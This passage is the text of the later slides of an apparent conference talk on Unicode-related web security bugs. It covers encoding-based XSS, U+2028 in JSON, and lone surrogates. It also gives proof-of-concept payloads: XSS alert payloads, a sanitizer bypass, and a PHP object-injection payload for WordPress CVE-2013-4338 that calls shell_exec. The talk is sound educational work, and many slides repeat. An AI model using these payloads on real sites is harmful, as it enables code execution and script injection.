120. $ curl -sL http://mths.be/brk | hexdump -C | tail -n 19 000002c0 3c 00 70 00 3e 00 48 00 65 00 72 00 65 00 20 00 |<.p.>.H.e.r.e. .| 000002d0 69 00 73 00 20 00 73 00 6f 00 6d 00 65 00 20 00 |i.s. .s.o.m.e. .| 000002e0 6d 00 6f 00 6a 00 69 00 62 00 61 00 6b 00 65 00 |m.o.j.i.b.a.k.e.| 000002f0 2e 00 20 00 54 00 6f 00 20 00 66 00 69 00 78 00 |.. .T.o. .f.i.x.| 00000300 20 00 69 00 74 00 2c 00 20 00 75 00 73 00 65 00 | .i.t.,. .u.s.e.| 00000310 20 00 74 00 68 00 65 00 20 00 63 00 68 00 61 00 | .t.h.e. .c.h.a.| 00000320 72 00 61 00 63 00 74 00 65 00 72 00 20 00 65 00 |r.a.c.t.e.r. .e.| 00000330 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 20 00 |n.c.o.d.i.n.g. .| 00000340 6d 00 65 00 6e 00 75 00 20 00 74 00 6f 00 20 00 |m.e.n.u. .t.o. .| 00000350 63 00 68 00 6f 00 6f 00 73 00 65 00 20 00 61 00 |c.h.o.o.s.e. .a.| 00000360 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 65 00 |n.o.t.h.e.r. .e.| 00000370 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 2e 00 |n.c.o.d.i.n.g...| 00000380 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 70 00 |<./.p.>.....<.p.| 00000390 3e 00 3c 73 63 72 69 70 74 3e 20 61 6c 65 72 74 |>.<script> alert| 000003a0 28 22 58 53 53 22 29 3b 3c 2f 73 63 72 69 70 74 |("XSS");</script| 000003b0 3e 20 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 |> <./.p.>.....<.| 000003c0 2f 00 62 00 6f 00 64 00 79 00 3e 00 0a 00 3c 00 |/.b.o.d.y.>...<.| 000003d0 2f 00 68 00 74 00 6d 00 6c 00 3e 00 0a 00 0a 00 |/.h.t.m.l.>.....| 000003e0 ᷼ (U+6372 CJK UNIFIED IDEOGRAPH-6372)
121. $ curl -sL http://mths.be/brk | hexdump -C | tail -n 19 000002c0 3c 00 70 00 3e 00 48 00 65 00 72 00 65 00 20 00 |<.p.>.H.e.r.e. .| 000002d0 69 00 73 00 20 00 73 00 6f 00 6d 00 65 00 20 00 |i.s. .s.o.m.e. .| 000002e0 6d 00 6f 00 6a 00 69 00 62 00 61 00 6b 00 65 00 |m.o.j.i.b.a.k.e.| 000002f0 2e 00 20 00 54 00 6f 00 20 00 66 00 69 00 78 00 |.. .T.o. .f.i.x.| 00000300 20 00 69 00 74 00 2c 00 20 00 75 00 73 00 65 00 | .i.t.,. .u.s.e.| 00000310 20 00 74 00 68 00 65 00 20 00 63 00 68 00 61 00 | .t.h.e. .c.h.a.| 00000320 72 00 61 00 63 00 74 00 65 00 72 00 20 00 65 00 |r.a.c.t.e.r. .e.| 00000330 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 20 00 |n.c.o.d.i.n.g. .| 00000340 6d 00 65 00 6e 00 75 00 20 00 74 00 6f 00 20 00 |m.e.n.u. .t.o. .| 00000350 63 00 68 00 6f 00 6f 00 73 00 65 00 20 00 61 00 |c.h.o.o.s.e. .a.| 00000360 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 65 00 |n.o.t.h.e.r. .e.| 00000370 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 2e 00 |n.c.o.d.i.n.g...| 00000380 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 70 00 |<./.p.>.....<.p.| 00000390 3e 00 3c 73 63 72 69 70 74 3e 20 61 6c 65 72 74 |>.<script> alert| 000003a0 28 22 58 53 53 22 29 3b 3c 2f 73 63 72 69 70 74 |("XSS");</script| 000003b0 3e 20 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 |> <./.p.>.....<.| 000003c0 2f 00 62 00 6f 00 64 00 79 00 3e 00 0a 00 3c 00 |/.b.o.d.y.>...<.| 000003d0 2f 00 68 00 74 00 6d 00 6c 00 3e 00 0a 00 0a 00 |/.h.t.m.l.>.....| 000003e0
     (U+6970 CJK UNIFIED IDEOGRAPH-6970)
122. http://mths.be/brm
123. http://mths.be/brm ∀scriptalert(1)/script
124. http://mths.be/brm ∀
     scriptalert(1)
     /script
125. $ hexdump -C utf-32-xss.html 00000000 00 00 22 00 00 00 3e 00 00 00 3c 00 00 00 00 73 |.."...>...<....s| 00000010 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 |...c...r...i...p| 00000020 00 00 00 74 00 00 3e 00 00 00 00 61 00 00 00 6c |...t..>....a...l| 00000030 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 |...e...r...t...(| 00000040 00 00 00 31 00 00 00 29 00 00 3c 00 00 00 00 2f |...1...)..<..../| 00000050 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 |...s...c...r...i| 00000060 00 00 00 70 00 00 00 74 00 00 3e 00 |...p...t..>.| 0000006c
126. $ hexdump -C utf-32-xss.html 00000000 00 00 22 00 00 00 3e 00 00 00 3c 00 00 00 00 73 |.."...>...<....s| 00000010 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 |...c...r...i...p| 00000020 00 00 00 74 00 00 3e 00 00 00 00 61 00 00 00 6c |...t..>....a...l| 00000030 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 |...e...r...t...(| 00000040 00 00 00 31 00 00 00 29 00 00 3c 00 00 00 00 2f |...1...)..<..../| 00000050 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 |...s...c...r...i| 00000060 00 00 00 70 00 00 00 74 00 00 3e 00 |...p...t..>.| 0000006c
127. $ hexdump -C utf-32-xss.html 00000000 00 00 22 00 00 00 3e 00 00 00 3c 00 00 00 00 73 |.."...>...<....s| 00000010 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 |...c...r...i...p| 00000020 00 00 00 74 00 00 3e 00 00 00 00 61 00 00 00 6c |...t..>....a...l| 00000030 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 |...e...r...t...(| 00000040 00 00 00 31 00 00 00 29 00 00 3c 00 00 00 00 2f |...1...)..<..../| 00000050 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 |...s...c...r...i| 00000060 00 00 00 70 00 00 00 74 00 00 3e 00 |...p...t..>.| 0000006c ∀ (U+2200 FOR ALL)
128. $ hexdump -C utf-32-xss.html 00000000 00 00 22 00 00 00 3e 00 00 00 3c 00 00 00 00 73 |.."...>...<....s| 00000010 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 |...c...r...i...p| 00000020 00 00 00 74 00 00 3e 00 00 00 00 61 00 00 00 6c |...t..>....a...l| 00000030 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 |...e...r...t...(| 00000040 00 00 00 31 00 00 00 29 00 00 3c 00 00 00 00 2f |...1...)..<..../| 00000050 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 |...s...c...r...i| 00000060 00 00 00 70 00 00 00 74 00 00 3e 00 |...p...t..>.| 0000006c  (U+3E00 CJK UNIFIED IDEOGRAPH-3E00)
129. $ hexdump -C utf-32-xss.html 00000000 00 00 22 00 00 00 3e 00 00 00 3c 00 00 00 00 73 |.."...>...<....s| 00000010 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 |...c...r...i...p| 00000020 00 00 00 74 00 00 3e 00 00 00 00 61 00 00 00 6c |...t..>....a...l| 00000030 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 |...e...r...t...(| 00000040 00 00 00 31 00 00 00 29 00 00 3c 00 00 00 00 2f |...1...)..<..../| 00000050 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 |...s...c...r...i| 00000060 00 00 00 70 00 00 00 74 00 00 3e 00 |...p...t..>.| 0000006c  (U+3C00 CJK UNIFIED IDEOGRAPH-3C00)
130. $ hexdump -C utf-32-xss.html 00000000 00 00 22 00 00 00 3e 00 00 00 3c 00 00 00 00 73 |.."...>...<....s| 00000010 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 |...c...r...i...p| 00000020 00 00 00 74 00 00 3e 00 00 00 00 61 00 00 00 6c |...t..>....a...l| 00000030 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 |...e...r...t...(| 00000040 00 00 00 31 00 00 00 29 00 00 3c 00 00 00 00 2f |...1...)..<..../| 00000050 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 |...s...c...r...i| 00000060 00 00 00 70 00 00 00 74 00 00 3e 00 |...p...t..>.| 0000006c s (U+0073 LATIN SMALL LETTER S)
133. http://mths.be/brl
134. http://mths.be/brl OBAMA vs. ᴼᴮᴬᴹᴬ
135. JavaScript vs. JSON
136. <script> // <?php echo strip($userInput); ?> </script> ! <?php /* Note: `strip()` strips ASCII newlines and `</script`. */ ?>
137. http://mths.be/brn
138. http://mths.be/brn
139. <script> // <?php echo strip($userInput); ?> </script> foo[U+2028]alert('XSS')
140. <script> // <?php echo strip($userInput); ?> </script> ✘ foo[U+2028]alert('XSS')
141. JSON ∉ JavaScript
142. var data = '"Hello\u2028"'; // JSON-formatted data containing a string // containing an (unescaped!) Line Separator ! eval('(' + data + ')'); // i SyntaxError: Unexpected token ILLEGAL ! JSON.parse(data); // i 'Hello\u2028'
143. Always escape JSON-formatted data before passing it to a JavaScript parser. http://mths.be/jsesc
144. http://mths.be/jsesc
145. var data = 'foo\u2028'; ! var serialized = JSON.stringify(data); // i '"foo\u2028"' (contains the raw, unescaped // Unicode symbol) ! var escaped = jsesc(data, { 'json': true }); // i '"foo\\u2028"' (contains an escape sequence // for the Unicode symbol i safer) ! JSON.parse(serialized) == JSON.parse(escaped); // i true (both strings unserialize to the same value) http://mths.be/jsesc
146. var data = 'foo\u2028'; ! var serialized = JSON.stringify(data); // i '"foo\u2028"' (contains the raw, unescaped // Unicode symbol) ! var escaped = jsesc(data, { 'json': true }); // i '"foo\\u2028"' (contains an escape sequence // for the Unicode symbol i safer) ! JSON.parse(serialized) == JSON.parse(escaped); // i true (both strings unserialize to the same value) http://mths.be/jsesc
147. var data = 'foo\u2028'; ! var serialized = JSON.stringify(data); // i '"foo\u2028"' (contains the raw, unescaped // Unicode symbol) ! var escaped = jsesc(data, { 'json': true }); // i '"foo\\u2028"' (contains an escape sequence // for the Unicode symbol i safer) ! JSON.parse(serialized) == JSON.parse(escaped); // i true (both strings unserialize to the same value) http://mths.be/jsesc
148. var string = String.fromCharCode(0xD800); // a string containing an (unescaped!) // lone surrogate ! var data = JSON.stringify(string); // the same string as JSON-formatted data ! storeInDatabaseAsUtf8(data); // " error/crash ! sendOverWebSocketConnection(data); // " error/crash/DoS
149. Always escape JSON-formatted data before passing it to a UTF-8 encoder. http://mths.be/jsesc
150. http://mths.be/jsesc
151. var data = 'foo\uD800'; ! var serialized = JSON.stringify(data); // i '"foo\uD800"' (contains the raw, unescaped // Unicode symbol) ! var escaped = jsesc(data, { 'json': true }); // i '"foo\\uD800"' (contains an escape sequence // for the Unicode symbol i safer) ! JSON.parse(serialized) == JSON.parse(escaped); // i true (both strings unserialize to the same value) http://mths.be/jsesc
152. var data = 'foo\uD800'; ! var serialized = JSON.stringify(data); // i '"foo\uD800"' (contains the raw, unescaped // Unicode symbol) ! var escaped = jsesc(data, { 'json': true }); // i '"foo\\uD800"' (contains an escape sequence // for the Unicode symbol i safer) ! JSON.parse(serialized) == JSON.parse(escaped); // i true (both strings unserialize to the same value) http://mths.be/jsesc
153. var data = 'foo\uD800'; ! var serialized = JSON.stringify(data); // i '"foo\uD800"' (contains the raw, unescaped // Unicode symbol) ! var escaped = jsesc(data, { 'json': true }); // i '"foo\\uD800"' (contains an escape sequence // for the Unicode symbol i safer) ! JSON.parse(serialized) == JSON.parse(escaped); // i true (both strings unserialize to the same value) http://mths.be/jsesc
154. Phabricator
155. Phabricator
159. uses MySQL
160. uses MySQL’s ✌️utf8✌️
163. http://mths.be/bro
164. RCE in WordPress < 3.6.1 http://mths.be/brq
165. CVE-2013-4338 “wp-includes/functions.php in WordPress before 3.6.1 does not properly determine whether data has been serialize()d, which allows remote attackers to execute arbitrary code by triggering erroneous PHP unserialize() operations.” http://mths.be/brq
166. function is_serialized( $data ) { $data = trim( $data ); $length = strlen( $data ); $lastc = $data[$length - 1]; if ( ';' !== $lastc && '}' !== $lastc ) return false; $token = $data[0]; switch ( $token ) { case 's' : if ( '"' !== $data[$length - 2] ) return false; case 'a' : case 'O' : return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b' : case 'i' : case 'd' : return (bool) preg_match( "/^{$token}:[0-9.E-]+;\$/", $data ); } return false; } http://mths.be/brq
167. function is_serialized( $data ) { $data = trim( $data ); $length = strlen( $data ); $lastc = $data[$length - 1]; if ( ';' !== $lastc && '}' !== $lastc ) return false; $token = $data[0]; switch ( $token ) { case 's' : if ( '"' !== $data[$length - 2] ) return false; case 'a' : case 'O' : return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b' : case 'i' : case 'd' : return (bool) preg_match( "/^{$token}:[0-9.E-]+;\$/", $data ); } return false; } http://mths.be/brq
168. WordPress Before writing it to the database, data gets serialized only if it’s an array or an object, or if is_serialized($data) returns true (double serialization) ! After retrieving data from the database, it gets unserialized only if is_serialized($data) returns true http://mths.be/brq
169. WordPress Before writing it to the database, data gets serialized only if it’s an array or an object, or if is_serialized($data) returns true (double serialization) ! After retrieving data from the database, it gets unserialized only if is_serialized($data) returns true http://mths.be/brq uses MySQL’s ✌️utf8✌️
170. http://mths.be/brq
171. http://mths.be/brq
172. http://mths.be/brq
173. http://mths.be/brq
174. class Foo { private $command; public function setCommand($command) { $this->command = $command; } public function __destruct() { if ($this->command) { shell_exec($this->command); } } } ! $object = new Foo(); $object->setCommand('echo "pwned!" > /tmp/pwned.txt'); $serialized = serialize($object); $payload = $serialized . '!'; http://mths.be/brq
175. http://mths.be/brq
177. “[The following C# code] takes a provided HTML string and removes any potentially dangerous XSS HTML tags using a whitelist approach.” http://mths.be/brp
178. private static Regex _whitelist = new Regex(@" ^</?(a|b(lockquote)?|code|em|h(1|2|3)|i|li|ol|p(re)?|s(ub| up|trong|trike)?|ul)>$ |^<(b|h)r\s?/?>$ |^<a[^>]+>$ |^<img[^>]+/?>$", RegexOptions.Singleline | RegexOptions.IgnorePatternWhitespace | RegexOptions.ExplicitCapture | RegexOptions.Compiled ); http://mths.be/brp
179. /// <summary> /// sanitize any potentially dangerous tags from the provided /// raw HTML input using a whitelist based approach, leaving /// the "safe" HTML tags /// </summary> public static string Sanitize(string html) { var tagname = ""; Match tag; var tags = _tags.Matches(html); // iterate through all HTML tags in the input for (int i = tags.Count-1; i > -1; i--) { tag = tags[i]; tagname = tag.Value.ToLower(); if (!_whitelist.IsMatch(tagname)) { // not on our whitelist? I SAY GOOD DAY TO YOU, SIR. GOOD DAY! html = html.Remove(tag.Index, tag.Length); } http://mths.be/brp
180. /// <summary> /// sanitize any potentially dangerous tags from the provided /// raw HTML input using a whitelist based approach, leaving /// the "safe" HTML tags /// </summary> public static string Sanitize(string html) { var tagname = ""; Match tag; var tags = _tags.Matches(html); // iterate through all HTML tags in the input for (int i = tags.Count-1; i > -1; i--) { tag = tags[i]; tagname = tag.Value.ToLower(); if (!_whitelist.IsMatch(tagname)) { // not on our whitelist? I SAY GOOD DAY TO YOU, SIR. GOOD DAY! html = html.Remove(tag.Index, tag.Length); } http://mths.be/brp
181. /// <summary> /// sanitize any potentially dangerous tags from the provided /// raw HTML input using a whitelist based approach, leaving /// the "safe" HTML tags /// </summary> public static string Sanitize(string html) { var tagname = ""; Match tag; var tags = _tags.Matches(html); // iterate through all HTML tags in the input for (int i = tags.Count-1; i > -1; i--) { tag = tags[i]; tagname = tag.Value.ToLower(); if (!_whitelist.IsMatch(tagname)) { // not on our whitelist? I SAY GOOD DAY TO YOU, SIR. GOOD DAY! html = html.Remove(tag.Index, tag.Length); } http://mths.be/brp
182. else if (tagname.StartsWith("<a")) { // detailed <a> tag checking if (!IsMatch(tagname, @"<a\s href=""(\#\d+|(https?|ftp)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+)"" (\stitle=""[^""]+"")?\s?>")) { html = html.Remove(tag.Index, tag.Length); } } else if (tagname.StartsWith("<img")) { // detailed <img> tag checking if (!IsMatch(tagname, @"<img\s src=""https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+"" (\swidth=""\d{1,3}"")? (\sheight=""\d{1,3}"")? (\salt=""[^""]*"")? http://mths.be/brp
183. (\stitle=""[^""]*"")? \s?/?>")) { html = html.Remove(tag.Index, tag.Length); } } } return html; } http://mths.be/brp
184. else if (tagname.StartsWith("<a")) { // detailed <a> tag checking if (!IsMatch(tagname, @"<a\s href=""(\#\d+|(https?|ftp)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+)"" (\stitle=""[^""]+"")?\s?>")) { html = html.Remove(tag.Index, tag.Length); } } else if (tagname.StartsWith("<img")) { // detailed <img> tag checking if (!IsMatch(tagname, @"<img\s src=""https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+"" (\swidth=""\d{1,3}"")? (\sheight=""\d{1,3}"")? (\salt=""[^""]*"")? http://mths.be/brp
185. else if (tagname.StartsWith("<a")) { // detailed <a> tag checking if (!IsMatch(tagname, @"<a\s href=""(\#\d+|(https?|ftp)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+)"" (\stitle=""[^""]+"")?\s?>")) { html = html.Remove(tag.Index, tag.Length); } } else if (tagname.StartsWith("<img")) { // detailed <img> tag checking if (!IsMatch(tagname, @"<img\s src=""https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+"" (\swidth=""\d{1,3}"")? (\sheight=""\d{1,3}"")? (\salt=""[^""]*"")? http://mths.be/brp
186. else if (tagname.StartsWith("<a")) { // detailed <a> tag checking if (!IsMatch(tagname, @"<a\s href=""(\#\d+|(https?|ftp)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+)"" (\stitle=""[^""]+"")?\s?>")) { html = html.Remove(tag.Index, tag.Length); } } else if (tagname.StartsWith("<img")) { // detailed <img> tag checking if (!IsMatch(tagname, @"<img\s src=""https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+"" (\swidth=""\d{1,3}"")? (\sheight=""\d{1,3}"")? (\salt=""[^""]*"")? http://mths.be/brp <img ̊ src="404" onerror="alert('XSS')">
187. else if (tagname.StartsWith("<a")) { // detailed <a> tag checking if (!IsMatch(tagname, @"<a\s href=""(\#\d+|(https?|ftp)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+)"" (\stitle=""[^""]+"")?\s?>")) { html = html.Remove(tag.Index, tag.Length); } } else if (tagname.StartsWith("<img")) { // detailed <img> tag checking if (!IsMatch(tagname, @"<img\s src=""https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+"" (\swidth=""\d{1,3}"")? (\sheight=""\d{1,3}"")? (\salt=""[^""]*"")? http://mths.be/brp <img ̊ src="404" onerror="alert('XSS')">
188. else if (tagname.StartsWith("<a")) { // detailed <a> tag checking if (!IsMatch(tagname, @"<a\s href=""(\#\d+|(https?|ftp)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+)"" (\stitle=""[^""]+"")?\s?>")) { html = html.Remove(tag.Index, tag.Length); } } else if (tagname.StartsWith("<img")) { // detailed <img> tag checking if (!IsMatch(tagname, @"<img\s src=""https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+"" (\swidth=""\d{1,3}"")? (\sheight=""\d{1,3}"")? (\salt=""[^""]*"")? http://mths.be/brp <img ̊ src="404" onerror="alert('XSS')"> <img ̊ src="404" onerror="alert('XSS')">
189. http://mths.be/brp
190. TweetDeck
194. function getTweetHtml(tweet) { var htmlEscapedTweet = htmlEscape(tweet); if (containsEmoji(htmlEscapedTweet)) { return replaceSymbolsWithImgTags( AccidentallyUndoHtmlEscaping(htmlEscapedTweet) ); } else { return htmlEscapedTweet; } } http://mths.be/bsq
195. Thanks! Questions? → @mathias
197. http://mths.be/brr
198. http://mths.be/brr